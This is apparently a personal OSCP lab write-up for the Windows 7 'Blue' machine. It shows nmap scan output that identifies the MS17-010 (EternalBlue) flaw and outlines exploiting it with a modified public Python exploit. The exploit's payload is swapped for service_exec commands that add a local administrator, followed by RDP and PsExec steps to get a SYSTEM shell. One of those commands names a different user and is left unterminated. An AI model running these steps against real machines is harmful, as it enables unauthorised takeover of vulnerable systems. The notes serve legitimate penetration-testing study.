OSCP Notes
Blue (Windows)
Nmap Scan Result: nmap -sC -sV -oA nmap-scripts
Nmap scan report for
Host is up (0.12s latency).
Not shown: 991 closed tcp ports (conn-refused)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49156/tcp open msrpc Microsoft Windows RPC
49157/tcp open msrpc Microsoft Windows RPC
Service Info: Host: HARIS-PC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2022-01-26T20:45:00
|_ start_date: 2022-01-26T20:43:22
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.1:
|_ Message signing enabled but not required
| smb-os-discovery:
| OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)
| OS CPE: cpe:/o:microsoft:windows_7::sp1:professional
| Computer name: haris-PC
| NetBIOS computer name: HARIS-PC\x00
| Workgroup: WORKGROUP\x00
|_ System time: 2022-01-26T20:45:02+00:00
|_clock-skew: mean: 2s, deviation: 2s, median: 1s
-sC (default scripts)
-oA - output all fomats
Some information disclosure is here,but no vuln is shown.
Locate eternal Blue (MS17-010) in our local machine
and do
nmap -p 445 --script safe -Pn -n IP
-n for no DNS lookup to save time.
If we wanted to look for vuln only, you can run "vuln an safe"
smb-vuln-ms17-010: | VULNERABLE: |
Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
IDs: CVE:CVE-2017-0143 |
Risk factor: HIGH |
A critical remote code execution vulnerability exists in Microsoft SMBv1
| servers (ms17-010). |
| Disclosure date: 2017-03-14
| References:
| https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/ |
|_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
Not a master or backup browser
|_fcrdns: FAIL (No PTR record)
The "Easy" metasploit win.

Manual way

How to Manually Exploit EternalBlue on Windows Server Using MS17-010 Python Exploit
Additionally, adding a user to the local admin is useful by replacing the pwn command.
service_exec(conn, r'cmd /c net user gori pass /add')
service_exec(conn, r'cmd /c net localgroup administrators bill /add
MS17-010/zzz_exploit.py at master · worawit/MS17-010
rdesktop to the new user gori with a password "pass"
run the cmd as administrator and psexec (transfer it to the victim)
PsExec64.exe -i -s cmd.exe
Copy link